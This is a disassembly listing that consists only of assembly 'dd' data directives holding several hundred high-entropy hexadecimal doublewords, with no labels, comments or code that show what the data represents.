		dd 0F9961BB6h, 2825D7ECh, 0E91607B2h, 81C9FE8Eh, 979D85E0h
		dd 95BD8ED3h, 17A2DD2Ah, 67BA4D01h, 1D66A2F9h, 5358FEFEh
		dd 14F5FE51h, 9444F642h, 4B0F7610h, 0D10EBF1Ch,	66F9095Ah
		dd 0B6B42F1Ah, 954C4458h, 959C4ECAh, 0B7DB92FCh, 0A427456h
		dd 0F1DCA1E2h, 0EE6A4Ah, 0AF0B5CE1h, 722515Ch, 2B153889h
		dd 9FB8454h, 0C57F5EE5h, 17F0CFDh, 0D30BBF4Ch, 7589D0C3h
		dd 0BA094E84h, 1989F0FDh, 302D03F0h, 0B632D5E8h, 0EF265E77h
		dd 0EFBA68A4h, 15A17161h, 2B32273Eh, 654A3862h,	87262D4Ch
		dd 1E102FF5h, 4A903125h, 229D0184h, 0E018A8F5h,	90D329D6h
		dd 5A0880C9h, 9279EEE9h, 5ED07799h, 0B2E217B3h,	0EDD18715h
		dd 0C1360B9h, 82632502h, 0B4703C7Ah, 66D88183h,	0CB47B821h
		dd 2F16D426h, 6EF4D101h, 7E60690Bh, 56BB0326h, 0E7B00E0Fh
		dd 4C3E63DEh, 0B9F70362h, 3B374552h, 8015BC0Ch,	2C4EB356h
		dd 0C5BAD8BFh, 0E569C8C4h, 3784580Fh, 0DC31ABDEh, 28A7D627h
		dd 0F2534CD6h, 341E68CDh, 0BD2C0B51h, 8106EC24h, 0C2B0BDB8h
		dd 6911F99Fh, 294CE155h, 58D7CC25h, 0BFD663CAh,	5FF6863Ch
		dd 12D5A3E9h, 3CEE07F2h, 0C6492EB5h, 82E73CFAh,	474DD6B9h
		dd 0EAB3FE52h, 0B22E026Fh, 0C7DEADB8h, 4914FD2Fh, 91C00B4Ah
		dd 0BCEE8F0Fh, 12E52708h, 66A8849h, 0B42FD528h,	124D1E27h
		dd 0FD015B68h, 9FD90D3h, 0DFC5229Eh, 0D1065C83h, 75F8A09Eh
		dd 2AF9A059h, 0BFD847h,	0D772F696h, 53D8C112h, 3E702708h
		dd 7B68A6C8h, 34A1B34Fh, 0D96781E9h, 3959CD88h,	3FB641F0h
		dd 0A6FB1512h, 5BE9835Dh, 0BF2604F5h, 0BBB86661h, 74C78FB4h
		dd 5D402D21h, 425999DEh, 0DD108629h, 0CDFE045Eh, 8AB55066h
		dd 58E1E5D1h, 0CE64FC6Fh, 0CF8D0CE9h, 5392747h,	1E043D2Fh
		dd 0C6C7BC08h, 2F6570E4h, 0FB121012h, 4DC2D5FCh, 8366DF1Dh
		dd 3F1BB920h, 5F9CDFF7h, 6D5F2535h, 820F02F5h, 18F5CA40h
		dd 951274C0h, 68844A5Bh, 0CFFB026Eh, 53986018h,	30E96FB7h
		dd 53ED0B2h, 0FB245073h, 0A613D93Eh, 3C47E1E5h,	0F9548C30h
		dd 0AC80DC5Ch, 0BC4A92D1h, 0F27E2741h, 0B8A62B7h, 500070E0h
		dd 6380BCB4h, 11B316C4h, 545C382Fh, 2EA63F5h, 28E06204h
		dd 5E822C23h, 97C71C8h,	46D2EE88h, 0AD230B0h, 0B412C8EBh
		dd 745CD32Dh, 0EDC005C5h, 4EE1602h, 1F3B067Ah, 0EECBC59Dh
		dd 0DF866814h, 0F03262Ah, 4A30107Fh, 4380D1BAh,	4CF33B9Dh
		dd 0F0C3969Fh, 78BB5A66h, 889F14Bh, 562DC423h, 539202F5h
		dd 8606EDFh, 412F350Eh,	346F7213h, 0AE56F36Ah, 0FF83E00Bh
		dd 212FEC9Ch, 8C3D1C3h,	55254981h, 964ADBBEh, 0F7EB3AC5h
		dd 40C62DB4h, 4C5068B5h, 0BEC01740h, 0C2978D91h, 96F2312Fh
		dd 13935BBBh, 0D2234EE9h, 0EF871213h, 235F2105h, 483DB6EAh
		dd 4D175A0Bh, 650B18ECh, 73002840h, 0DC0C4BC1h,	0F1293D14h
		dd 0D408418Fh, 0DBBF9A83h, 0FD01046Fh, 0BBC8EB5Fh, 0AA024BC7h
		dd 15786039h, 0D4E3696h, 0CA410798h, 72AC92Eh, 0DE7EE1D2h
		dd 60A03F71h, 0C970B701h, 0A97F9B1Dh, 20DDF7CAh, 0CAC79216h
		dd 0EB1234F0h, 8B609D16h, 0BC5AA5A7h, 5A00E1B8h, 7BFBB850h
		dd 0D002F8Ah, 780C5498h, 727FF92Dh, 0C7290B8Eh,	50C217E9h
		dd 180E707Eh, 0E877BF92h, 3CF50193h, 6E9BC518h,	0F8C90C5Eh
		dd 16C42035h, 179E3441h, 7561A5C7h, 37217E45h, 0A72E1C52h
		dd 0B35301FAh, 5BDE3082h, 0D116AF2Ah, 17BAA4B0h, 0A8E76B96h
		dd 2ECF0455h, 0A2FA7A39h, 0E2067C79h, 3B511257h, 0A072084h
		dd 35AF6813h, 562F33h, 0CD456E72h, 0A214BE77h, 77EAED24h
		dd 74BADF12h, 9117FE89h, 0F88561EAh, 0BA2B0D4Ch, 5A70562Ch
		dd 0F1B4A814h, 0B07EAA2Ch, 0D559A72Dh, 3C4A041Bh, 0FC82302Dh
		dd 4A020BACh, 87DAF92Eh, 0A0840709h, 408F06E0h,	0A3B23B16h
		dd 0C6E294A5h, 5B64F2D1h, 0B25AB850h, 70ED0287h, 0A16B6A2Dh
		dd 206459BEh, 186D7920h, 0C296701h, 93CF2FAh, 3D3AC92Bh
		dd 6B0BF2EBh, 8274D54Dh, 5FA46A7Dh, 0B0B6FD1h, 95FDCEB6h
		dd 845D1412h, 9A8A57BDh, 8605B95Fh, 3F458502h, 569643C1h
		dd 3FCB1E13h, 0B45B0850h, 0DE386FD7h, 0FE4ECDF9h, 0DD2CA1CEh
		dd 5B991097h, 685BEF01h, 336F0B8Eh, 0FFADCD53h,	64B3CF77h
		dd 0D3E517C1h, 5E1FBA5Ah, 2166BF07h, 0F696E29Bh, 608EC268h
		dd 38E798DDh, 5A9AC9EBh, 686144D4h, 4048577Ah, 0B2435BDCh
		dd 0F5E396E8h, 22BAB34Ah, 0C13D3431h, 1AE8AB5Eh, 3C7B6094h
		dd 2D80DB15h, 5AF911C9h, 3EED0F7h, 361DFC02h, 0E8AB56E9h
		dd 0A821B220h, 0BF47E7BFh, 0FF378911h, 6DB35C5Eh, 886B0400h
		dd 69F381EDh, 7081313h,	680020ABh, 46977C7Dh, 84BF4F93h
		dd 3681FB41h, 776CE767h, 0CFC7FBD8h, 1E3FB980h,	897DA138h
		dd 0C748C469h, 0F3BD17CDh, 125EC997h, 234BF528h, 7EB6F3ACh
		dd 0D2250198h, 0BFBC72F3h, 2D6B9A78h, 9AA3F725h, 0A3137C2Bh
		dd 46ED53D8h, 9DBAE899h, 3ACCFBCFh, 0C3414ED0h,	69242B9Ah
		dd 6FE16097h, 28EFB41Fh, 150104ACh, 0A491310Dh,	0E26F5BDDh
		dd 9868C462h, 4817F2AAh, 191B00F1h, 0E9BA5837h,	0A7C825E6h
		dd 7028AA5Eh, 472806F6h, 0D013C55Ah, 3EF09415h,	8DA82D55h
		dd 1EE822DDh, 6130F741h, 6EB8C02Eh, 8C4187B0h, 0FD705E7Bh
		dd 0E29EBC16h, 84680B29h, 0A9B4D57Eh, 5759899Dh, 0A2E96379h
		dd 7F23A1DBh, 2E613E0h,	118A0F0Bh, 0EFED5D37h, 0D5055A0Bh
		dd 0BDE99122h, 8B8C847Fh, 0C114B2FBh, 0FC36E957h, 11DD53A5h
		dd 57DE0647h, 57692FF9h
		dd 5A4F9A58h, 0F04AA949h, 32429584h, 0CDE12955h, 0C49AAD98h
		dd 70FEFE5Fh, 9C96F7E9h, 9EDE010Ch, 524E0B56h, 96D75B30h
		dd 952F2747h, 40828371h, 0FD45EE59h, 0C06E3EF9h, 6574C7CFh
		dd 9DE91728h, 10FAF9BBh, 0B05AD0A2h, 619DDB5Eh,	0C5288B78h
		dd 6857C702h, 860911A4h, 3F3BC658h, 0F6DE9385h,	925ECB6Dh
		dd 19BC05F7h, 5300C8ECh, 0E3711F68h, 4B045B4Ah,	24A88E0Fh
		dd 0F83241AAh, 8248832Ch, 0B02F994Ah, 9BDBD53Fh, 7351402Fh
		dd 21C22F16h, 7B0CCCE1h, 49BDD4D0h, 53080028h, 0FD3DC4B8h
		dd 315AE9B1h, 0D87AE6F1h, 975F39F4h, 53C063BFh,	2B20FEE1h
		dd 0B0AD85D3h, 60D10F9Dh, 6C915EE6h, 539E3A16h,	625DE500h
		dd 98D10678h, 923E478h,	31B68F85h, 832AA07Fh, 2AFD54F6h
		dd 0F88320E9h, 0B30D9D58h, 0CB0B7E06h, 2737C625h, 3E1836CEh
		dd 0A2275A30h, 26EC7062h, 11C3F37h, 262003E9h, 8AE64275h
		dd 16AA46F7h, 0B111FBDAh, 8B565051h, 0F94831C8h, 483359DFh
		dd 5F3C38EBh, 305739FBh, 6004DBC4h, 0D7F76535h,	18E7AAE0h
		dd 8E234B28h, 0DCDBEECFh, 5FEAF176h, 7D3440D9h,	6169CB0h
		dd 0E4C80F5Ch, 3F322E5Ah, 0DEF485Dh, 552A1234h,	4A2C0405h
		dd 62EB1788h, 9DA184B6h, 2A5F4A34h, 0D25BEAE6h,	0AE565B68h
		dd 0F687552Fh, 0EC09A54Ch, 908A469Fh, 763A04A2h, 71AC5F6Bh
		dd 0ADEE914Ah, 0B37293E4h, 877F2E04h, 5A2543B3h, 3508D75Bh
		dd 879B3AB7h, 82D338BDh, 72F60A4Eh, 0A5CD8100h,	0F39B123h
		dd 0F825E7F4h, 19C75DFEh, 7DF08A89h, 5AE90FE8h,	0BA9C0195h
		dd 0E0FA6A17h, 914EAC9h, 0F54B344h, 0FAC6CF85h,	6BEC163Ch
		dd 16DE6EDCh, 1216288h,	86495BBBh, 0A085201Bh, 4DC14F01h
		dd 0D6E9514Bh, 7B843528h, 0EB8003DAh, 0B41E9D6Fh, 28D44D5h
		dd 767463BFh, 8E0C4072h, 0B0D64A38h, 9D5A29D0h,	34E7D7ECh
		dd 0F9EDEB47h, 0E2541D04h, 0B066E81Fh, 4C56377h, 0E9C72110h
		dd 54D9D325h, 89B0F3B1h, 903A68A3h, 0B99CFD56h,	0C3504708h
		dd 0F504914Dh, 6DD418B8h, 92C1B9BEh, 3A9DBF07h,	0A117B435h
		dd 0E91E81AAh, 0BE9857D5h, 71D052C0h, 0AE072DE8h, 5594F04h
		dd 46C82460h, 82F2E701h, 8DB95107h, 0A6CF1A12h,	4A7DB071h
		dd 0C721AAD9h, 0B874F0E3h, 0F7F13ABh, 0EEE73827h, 0D1324E17h
		dd 0A3C62A00h, 171AC1B2h, 0FDF78957h, 0E1D21240h, 39065964h
		dd 2663BFBCh, 673A42B5h, 800E8051h, 0E91A18EDh,	42264C6Ah
		dd 3F4A7B63h, 81867624h, 6C3A65BEh, 92929F5Ch, 0E9176407h
		dd 0D565099Bh, 0D42DEACDh, 0D38B8919h, 0B14E46F1h, 41BBE210h
		dd 94DD018Eh, 0F52CA781h, 78FB251Eh, 224F279Eh,	7C7D8A75h
		dd 0C85F78ABh, 4BDFF780h, 0E917F157h, 96F2C747h, 7C18097Fh
		dd 0ACF1532Fh, 0D398A4EFh, 50023703h, 1214B15Fh, 0F78DE928h
		dd 9DB9F2C6h, 4AF1BE9Ch, 29C0CDA9h, 9E685BDAh, 0D0A4115Ch
		dd 20D73BE9h, 0B1FF64FDh, 51F8EABBh, 1093769h, 1A60D8D5h
		dd 9EBC93E9h, 4E1A5E60h, 76BF6FE0h, 996E09E4h, 0F762B4D6h
		dd 6CF477D8h, 44AC038Fh, 0AAC0C201h, 0F62D23BFh, 0C5709539h
		dd 1EBD4F4Eh, 845F2Ch, 2BCC0210h, 2049C1E9h, 0A3B413AFh
		dd 778B83AAh, 286CEC98h, 0E958E602h, 55FEF74Fh,	0CC685FF9h
		dd 870C69E3h, 0A34D309h, 68C9C32Fh, 0FAC212F6h,	4AA1EC2Ch
		dd 7963F3F5h, 65202727h, 4FA920ABh, 0F66AC20Ch,	0A8203A44h
		dd 557EB5BAh, 0FFE709E2h, 820FE046h, 0A446C242h, 0A9915636h
		dd 312A73A4h, 80D80DFEh, 8C2FC5F5h, 7E29F5F9h, 685D3B6Fh
		dd 0BA17342Ah, 7A9825A5h, 0E98975D9h, 8870A377h, 4BD9BAF0h
		dd 0C79BE18Bh, 1B1A5EA7h, 34C17E62h, 0D68700DBh, 56D226F7h
		dd 3BC110F6h, 0DD4B7C55h, 161CDB90h, 0A44260E2h, 41BC9217h
		dd 8995C19Dh, 2DE08B7Eh, 9A7D853h, 692D0192h, 12F77205h
		dd 0ABA46407h, 0B92E6F9h, 65FDD377h, 0BAEE93E6h, 0BD0CF7F0h
		dd 0E9E28053h, 0F4B64A75h, 31450324h, 0DAE1143Ch, 0A5CA2ED9h
		dd 62C0AA25h, 7C27685Ch, 3BBC196Fh, 51004A38h, 0E180D5B1h
		dd 0D93AF621h, 308BCC0h, 0CE28A5E9h, 7E35F759h,	920E30B8h
		dd 0EFDADE30h, 21765989h, 0B5967D27h, 0D20A4F91h, 0F642C12Dh
		dd 0E8800F75h, 6858C130h, 0E132C431h, 0B32A2E9Fh, 9C2D06E3h
		dd 0B0A932Ch, 42BC0AFBh, 0BB536080h, 5624391Ch,	0E5049740h
		dd 0A8804630h, 2D4B65CBh, 647471BAh, 0B178E904h, 0F02CB6C8h
		dd 8BB95033h, 23B00305h, 0D82936DAh, 5A085242h,	0AC6A80F1h
		dd 0F016797Fh, 6901535Eh, 411D4CB1h, 78C1E43Ah,	0AC419141h
		dd 0F23D6AB0h, 0BB20AFD3h, 5B26214Fh, 21EFD78h,	167118C5h
		dd 3148401Ah, 1D113061h, 0D363528Ah, 8800754Eh,	0ED81E5D1h
		dd 344C3AC6h, 32EE4A7Bh, 1C485D05h, 0B89EFAE9h,	43AA4430h
		dd 0E02EFB12h, 0F460878Dh, 0E9DBF7F6h, 8C4A4B3Fh, 0E741723Fh
		dd 0E9E00769h, 0E7BFBA5Eh, 8A3C8D2Ch, 0EFF82AFDh, 0D0E7C09Dh
		dd 685E0928h, 5C0FFA2Fh, 0FEE0C131h, 0EF03EE5h,	0B3795E1Bh
		dd 0DC856BFEh, 13680491h, 6E081376h, 40FE2F40h,	0DD1C6758h
		dd 37A78289h, 0D6AF1F83h, 31ACE320h, 0D0B554F1h, 22E92D00h
		dd 0F304918Bh, 0E8D5C441h, 88F297CEh, 7D7F2719h, 0F9842EA9h
		dd 0AD63FCEFh, 0A17AF82Eh, 4B00D820h, 1A4A8C0Fh, 0B6BFB712h
		dd 0A21618E6h, 4F2DE926h, 0DFCDA295h, 0FB499256h, 0D1FC050Fh
		dd 29FC31ABh, 0E5A80581h, 0B705E125h, 0CED8FE4Ah, 1B1704F2h
		dd 81093E7Fh, 6A7D4396h, 0DC8E88A8h, 0DE680B10h, 8D1EF50Eh
		dd 0D5CD5D4Fh, 1216B66Eh, 49205A04h, 7BBA2734h,	1E6B3409h
		dd 0F20DEB3Fh, 0EE2B2051h, 13AE5C13h, 4009FB11h, 5A50FE0Ch
		dd 4B97A830h, 0B746A983h, 0CFB8E681h, 6E0AF727h, 3056001Fh
		dd 5347EFC1h, 48C5DBDFh, 68836428h, 0AF840622h,	0FBA472A9h
		dd 0AF3E259Dh, 0BD364F23h, 52BDE220h, 276397ABh, 30E37CC9h
		dd 475AAAD0h, 0DA5F8D49h, 6576B7E5h, 0E70AA32Ch, 76AD4126h
		dd 9C51255Ch, 0E9985DC9h, 51B5DD04h, 2E60AC7Eh,	35608801h
		dd 0A4CF8100h, 90217C2Ch, 0F9B50C55h, 0E98D3677h, 11006D4Fh
		dd 224A6705h, 0F829145Eh, 5F12072Dh, 0CB04EB50h, 3AFCFEE2h
		dd 35082D9Fh, 410B1CDDh, 0F0E96431h, 882689CEh,	70A7FD7h
		dd 7F5909ADh, 0A53C6757h, 1AB1C1ABh, 0C05F7433h, 10E2E45Ch
		dd 5D003AA7h, 3CBAC981h, 809D4AC6h, 44B21BE1h, 0E0E915E8h
		dd 805FB5ADh, 0B61EB09h, 0BB89E498h, 0F90844C3h, 0EB2085A9h
		dd 99EE9E8h, 6B2F8F3h, 2F014057h, 2A3F7F82h, 0F6AE5BCBh
		dd 2771176Dh, 0CA27F149h, 3E1C088Ch, 69376403h,	27B5F8E9h
		dd 9EDA5850h, 43B67D24h, 105032BDh, 0CCD60BCFh,	0D91C5EC2h
		dd 5BDAC2DAh, 4FB0CC7Fh, 0BB32C438h, 5A047ACh, 5716141Eh
		dd 0D8AC3132h, 0C813FF4Bh, 5B7D2AB7h, 0BE52A0FEh, 0C47F0DAAh
		dd 3056B742h, 5C510579h, 0F5361BF8h, 0EB223000h, 7EAC146h
		dd 10BA4A4Eh, 0E725EDECh, 0D9FF14C2h, 0B11C69F9h, 0E91F3095h
		dd 0E58197B4h, 3AF08A0Fh, 0F6ABD884h, 0E4B70010h, 0BA52F88Bh
		dd 563300EFh, 0DACA817Ch, 2C4E5A34h, 90A8C0BBh,	7026513Bh
		dd 4A159583h, 508C01F2h, 2E4EE913h, 0C428242Ah,	0F6DCEA8Fh
		dd 1269B8C7h, 0FA4C0173h, 0C05B3C9h, 0A37B1A81h, 0B042BE5Dh
		dd 29E77240h, 839F574Eh, 0CA803DB2h, 63B450E0h,	5798990h
		dd 6DCCC32h, 28FB61ACh,	0E80CC2E4h, 0EBEAFCE2h,	0C03ED14Bh
		dd 68660802h, 8C747E12h
		dd 91B05040h, 0E5232FE9h, 8049F3FCh, 2E74C410h,	3850B742h
		dd 0F7098AB0h, 0F51D4A3Dh, 8107FD8Ch, 0DBFCEE1Fh, 0FC01288Bh
		dd 7C31E24Eh, 87B70FF2h, 5539771Fh, 0E530D2D2h,	0F9B876E6h
		dd 40A2382Dh, 0C4475AFBh, 0D5CFAF00h, 0B9255D60h, 0D5EB420h
		dd 92CAD2Ch, 311DFA54h,	0C1018302h, 18881EDDh, 7074CDE9h
		dd 6800505Bh, 349618FDh, 78672558h, 0E2325C2Ah,	3D84AC3Bh
		dd 0EBECE945h, 822DB800h, 2DC7C583h, 70E65B50h,	7EE9430Bh
		dd 0ED06829h, 414B1361h, 3C550921h, 0E14842F2h,	5040044Ah
		dd 0C3FB5592h, 65821638h, 6ACE1541h, 6EF86D39h,	1E769AD2h
		dd 4B028BDAh, 2B5C35E4h, 0B26FEE51h, 8AAFD799h,	0C8A84F08h
		dd 10DC5089h, 0E0B05F5Ah, 4EA5A740h, 0A076C6A7h, 0E856DC37h
		dd 0A1759D5Dh, 46D6E525h, 72BD11h, 987EBBEFh, 0B8F34085h
		dd 0AB24E309h, 3908035Eh, 27ABDDD0h, 0F81F9709h, 25FDD825h
		dd 9F465F93h, 9DE41C40h, 56523D82h, 13F6F284h, 0D1D361A5h
		dd 806485F8h, 467B13AFh, 0D33DED0Ah, 688202FFh,	82E614A4h
		dd 7910DA90h, 0EE38FF4Dh, 261C1826h, 91D70088h,	0DE29E062h
		dd 5EFA61BDh, 0EC66A43Fh, 256A6309h, 5CD9DD58h,	0F29FE906h
		dd 0F48012AAh, 0FEC0E69h, 0FCE88325h, 46EF5A7Bh, 2AD2E518h
		dd 5BB3B617h, 0D03EDCB1h, 8E49C3EFh, 44D89525h,	0AFCF09A6h
		dd 0CAF09EB6h, 647FDE95h, 635CE94Ch, 5A621B8Ch,	4CEFA9E0h
		dd 0BDCB10FCh, 7D26A44Bh, 32B017F2h, 9245B61Bh,	7A2FB0C8h
		dd 3737C42h, 0F34378CEh, 5F86E97Ch, 888212BCh, 55A2E25Eh
		dd 0E94FB260h, 66CDD869h, 0EE8002A0h, 5AF5082Ch, 57A7D545h
		dd 3A5D5431h, 0B33F30BEh, 6674E9B5h, 0C80E8E92h, 8574502Dh
		dd 62995908h, 4464213Fh, 26B9005Ch, 0F2545873h,	0A0BB410h
		dd 97794B68h, 0CBADFB97h, 6717EA02h, 1CC17BA8h,	2944342h
		dd 40A304Ch, 73701D86h,	0B94015ECh, 44213C4h, 4539BCB8h
		dd 42FB2AB9h, 3C820F06h, 0F725D25Ch, 72B0C445h,	5FAC9321h
		dd 0D51DABA2h, 0C34BE0FEh, 7E8FE131h, 0C5D95BADh, 3BB1BEB3h
		dd 7B5F2820h, 0C17D4F68h, 51515EF6h, 0A6DA9F7Eh, 888B3678h
		dd 7ECF96FAh, 0F3FB4AE9h, 0DFD617EEh, 50E8F44Bh, 0C0E5376Eh
		dd 80D30012h, 0D49F73C3h, 0C87D72A4h, 8093AC51h, 180036BDh
		dd 0EDC14E14h, 0A0DDF707h, 3019A7A3h, 34CE0481h, 21715FF5h
		dd 9859CD26h, 0A12CE202h, 0D1C08730h, 0AC00917Ah, 29A462DDh
		dd 8F00B7D5h, 36482E80h, 9488DAF3h, 52822808h, 0A4069FC4h
		dd 320D8F55h, 1131EA0Fh, 26E3851Ah, 0C1200A81h,	2A8205F1h
		dd 15A58B71h, 0A0A4D2F5h, 1F18C280h, 1A11036Bh,	80B8AF2h
		dd 30BF2751h, 64B11CCAh, 0E22A5F1Ah, 0FFA4D337h, 0FB05BE0h
		dd 8C3235B6h, 16004701h, 0C681FD9Fh, 2526610h, 57DE0137h
		dd 0F9DDEDE9h, 0AF680520h, 80CBEA61h, 812DAB96h, 0D7A2912Eh
		dd 55F83E57h, 76D303B4h, 0F7AACF23h, 86034474h,	1AE30DCh
		dd 7B3D7A28h, 31CD2911h, 74080400h, 0DECFFE7Dh,	0FF689251h
		dd 0B554B707h, 5BFD0046h, 50BE5C0h, 1A6CCB68h, 24F8773Ch
		dd 0F5805902h, 41E82888h, 0B2C85317h, 5FB705ADh, 0D049D5E9h
		dd 40247E38h, 430254Ch,	4A7D706Dh, 8BEFD4D2h, 6BB3DC08h
		dd 0F102EE5Bh, 5563ADE9h, 5CE1D8D3h, 0D170CD80h, 0C07F4EE5h
		dd 0FEC991F1h, 0F802CEBFh, 45424A03h, 3571F804h, 0A47B00E0h
		dd 0E933FE3Dh, 4ABEE998h, 0F3123E9Ch, 9C7EBB1Dh, 0D727069Ch
		dd 0D5440AB8h, 0BC1DFE42h, 2F40AA4Fh, 7242C38Ah, 1027457h
		dd 365FB850h, 5335EC4Ah, 7A9B3932h, 951FF0BCh, 0F3B5544Eh
		dd 30D7E9B7h, 25E9E1A9h, 16570B46h, 6F2C28B5h, 0E9D0F9DFh
		dd 8E089F26h, 0AE59129Ch, 0AB40FC29h, 13F87D5Fh, 1FA012Bh
		dd 0B823587Ah, 0CCE7F83Ah, 6496200Ah, 1603F547h, 170B685Dh
		dd 0E8B0E92Ah, 0D85B7783h, 4DC06C44h, 32F7981Eh, 3030080Dh
		dd 25F80C54h, 0E66B4A2Eh, 5ECA1C1Ah, 0D2B6DF2Fh, 0E178F9B7h
		dd 540F8568h, 0EEB2EF1Fh, 0A6ED9486h, 1FF639A2h, 34E75F25h
		dd 7F3E904h, 9FF10091h,	493E84E1h, 6377EF1Bh, 55F7DAFCh
		dd 4DF4140Bh, 12477E72h, 99FCB352h, 0E32A021Eh,	0F5D2CBDDh
		dd 0AE7D02A1h, 7F67BFEh, 0A7D8E71Eh, 113DB25Dh,	0BE50A510h
		dd 0AA875EF0h, 8C15DE3Bh, 0C3BB57F7h, 0E3D15816h, 0BFE721FBh
		dd 6B2EC15Ah, 194075C0h, 52270BE2h, 4B502DE9h, 7AA95C9Dh
		dd 92526D7Ch, 0A6F9F75Dh, 4684703h, 7AF170Bh, 19F4E3A7h
		dd 0F2411AA9h, 0FEFAFA70h, 5BF9F832h, 58FDC8D7h, 0C3054803h
		dd 0F9152E18h, 7FC20EA0h, 818989F3h, 0AB2F01E1h, 0A06ED176h
		dd 0E4FC53CDh, 12565B3Ch, 31FAF1B7h, 4F6E595h, 0AFBB680h
		dd 0A06A5ADAh, 4E9902C9h, 42759F82h, 0AB4AD518h, 9CDD080Bh
		dd 518188A6h, 51885DE9h, 5D84BF00h, 0FA211593h,	225F37CCh
		dd 1F80959Eh, 0D130CFB2h, 32425A48h, 0F5359AB6h, 0B050AE18h
		dd 5D060F64h, 21F5B5FBh, 0C6C89661h, 505ED2E0h,	0B1FCB56h
		dd 3125E333h, 51646BDEh, 0D51A06B2h, 7E579CB2h,	7F6AC2D0h
		dd 131AD0B0h, 0CA0B89D6h, 0B991773Bh, 4B706885h, 3D3AABA0h
		dd 0ECED47CCh, 0C657EE24h, 0C78925A7h, 0ACF811B2h, 9437E025h
		dd 0D9719589h, 0A1BB6A0Ah, 0CA1BCE82h, 7189F773h, 0C3E9AF60h
		dd 0BA20FB60h, 722937BFh, 0A6F1FB73h, 0AA4A0778h, 0FEA80561h
		dd 744830A5h, 0CBBAD7D6h, 569754F8h, 0AFF313AEh, 2C6840CCh
		dd 619B7B77h, 7EDC8850h, 0CE9C80Eh, 7666CA9h, 2CCA045Ah
		dd 87D0058Ch, 0B56498B6h, 0F834E1C2h, 347F971Dh, 22E9243Bh
		dd 927AAD7Fh, 0FEF99213h, 5E6072BFh, 664A0658h,	3CF0878Dh
		dd 0B818C0D3h, 25D70BAEh, 8C2F927Bh, 84A4233Eh,	8BBA8435h
		dd 82792D73h, 4AE4E908h, 57FD072Ah, 98E2668h, 4A7028E3h
		dd 99B47B5h, 0DAF97829h, 1284D288h, 1D25AE5Dh, 6149B5FEh
		dd 53B13A83h, 7DC81660h, 29CF1226h, 8659A9F1h, 9D478A5Ah
		dd 575AB156h, 0CA010DE4h, 0E912581Ah, 7369CC1Eh, 5B235D10h
		dd 8CA331FEh, 0B0169F9Bh, 35DE88C0h, 759A1B3Bh,	55030F04h
		dd 14413842h, 2FC94DBEh, 8E04DDB9h, 0EA51DD5Eh,	841D9A8h
		dd 4DD60C81h, 815B6F72h, 5245DC8Eh, 9AE1E90Dh, 0EC659D7Fh
		dd 0F5A8C093h, 313D12E8h, 10F612C8h, 419191A4h,	0AB6FECFBh
		dd 0E7C0CEC0h, 0FED7F606h, 201A4AF8h, 8AF78160h, 0F19CE3B7h
		dd 3A866780h, 9A5BDE31h, 182D05FAh, 0E700574Eh,	64307336h
		dd 62D5828h, 0F4805E4Bh, 2501480Dh, 44DF0C61h, 0B1BAC1B3h
		dd 8147AC23h, 0ED7BF60Fh, 896F2954h, 780A07F3h,	0A2B41820h
		dd 0DCDB351Ah, 4B7C91CEh, 0E30284ACh, 444328F6h, 0D7380400h
		dd 0D929205Eh, 85E5E94Ah, 2E76292Fh, 7BAF29EEh,	0B73459CBh
		dd 0B40DEC0Dh, 852EA6FBh, 44EA22C5h, 0AF9D7D85h, 23824A24h
		dd 2447D01h, 0F9B2F506h, 3A7AAF17h, 658A61AAh, 20C2EE01h
		dd 0BC56B708h, 172F7E51h, 0FBAB8455h, 4B4B869Eh, 8958C134h
		dd 9D47B97h, 0D9AAA59h,	10CB20F1h, 0B61675DEh, 0F8059762h
		dd 0F589846Eh, 5EB6A283h, 755D0595h, 2D6BC52h, 8E6C56C3h
		dd 1A22606Ah, 1D613154h, 0DD70A30Ch, 3248257h, 2B5F53h
		dd 721202A1h, 0C154EC98h, 0C678FEA7h, 10C92A35h, 6529CDFFh
		dd 8BAA669Bh, 89A7FE66h, 0D66A9E2h, 53AD6812h, 1F10CFAFh
		dd 542D3F68h, 7CC15A62h, 6B037E58h, 80DEEF80h, 1F665BFAh
		dd 0CB3EB450h, 0C777DD67h
		dd 0EED1251Bh, 0AFD1D002h, 1E0F7D16h, 5E3BEC75h, 0ACB3EE1Ah
		dd 7FECEA77h, 73965D8Bh, 9309A098h, 0F027C62Eh,	0E732110Dh
		dd 9F0D0046h, 0E93D1724h, 95906056h, 4594B8EBh,	0E8B21150h
		dd 8949AEB1h, 9559F825h, 0FA5341D4h, 0F7F7A2F3h, 0F69060DEh
		dd 0FA08A390h, 400BDF7Bh, 0C40ABAD5h, 0C4154A16h, 6D9CAE28h
		dd 1600959Ah, 6A2BE94Ah, 75E09297h, 0C3D4A868h,	0BBA5280h
		dd 70F2305Bh, 0C909278h, 0CFA0FEC0h, 2EE98F0Dh,	5A1A2E38h
		dd 6850C100h, 0D026664Ah, 481A6A27h, 35F1DF0Dh,	6B246116h
		dd 4D2AE7BBh, 7ABB0960h, 1053027Fh, 6A837687h, 0AB221B0Fh
		dd 3D38504Ah, 78735845h, 8521F497h, 17BE1E16h, 93C16280h
		dd 0FC9EC02h, 6E212367h, 969839Eh, 24071F04h, 0E026BA5h
		dd 0B7B43654h, 685D09EEh, 14515394h, 4F1DCA97h,	0A67223ADh
		dd 4301DC3h, 602C9F7h, 0E94A0256h, 21C1AB26h, 0B32B1C6Fh
		dd 7F51C92Fh, 7769D471h, 965FA0E6h, 7DB8CAC4h, 0B0C5500h
		dd 1599BE41h, 74B75B72h, 0AD0670B1h, 0E213F695h, 520009BCh
		dd 285DDC68h, 7B056AEh,	0D51BCCEAh, 5FE26042h, 2F0B6E59h
		dd 9213CAE9h, 0DCAF7763h, 8910A9F2h, 1A467D10h,	35C901E2h
		dd 0F3E4DD6Ch, 88A599Dh, 661756FCh, 36312EEh, 301F177h
		dd 8FE10A0Fh, 5D1FD70Fh, 5359876Dh, 7F49BBD1h, 0D20C7EF3h
		dd 17FCF282h, 0A621164Fh, 0FB8145ADh, 0C0458F5h, 0CD876E2Fh
		dd 4078F690h, 0C86E480Eh, 68B0734Ch, 659D53A2h,	271E267Dh
		dd 1ABD61D0h, 0F3115766h, 6A457A5Dh, 9AAB7EF5h,	246E4CDFh
		dd 68621927h, 0F379DF61h, 0B04B969Eh, 750BDF33h, 6ACF0477h
		dd 0FC44EB12h, 4E1A4F9Eh, 25CCD45Dh, 8468E598h,	0DECF554Dh
		dd 4CAA039Eh, 0AD2032AEh, 0E17AF74Bh, 0D2CE6F23h, 0FC18987Dh
		dd 395B48D8h, 2D4931E1h, 0D70554A9h, 0B91C55Dh,	7DEA68D8h
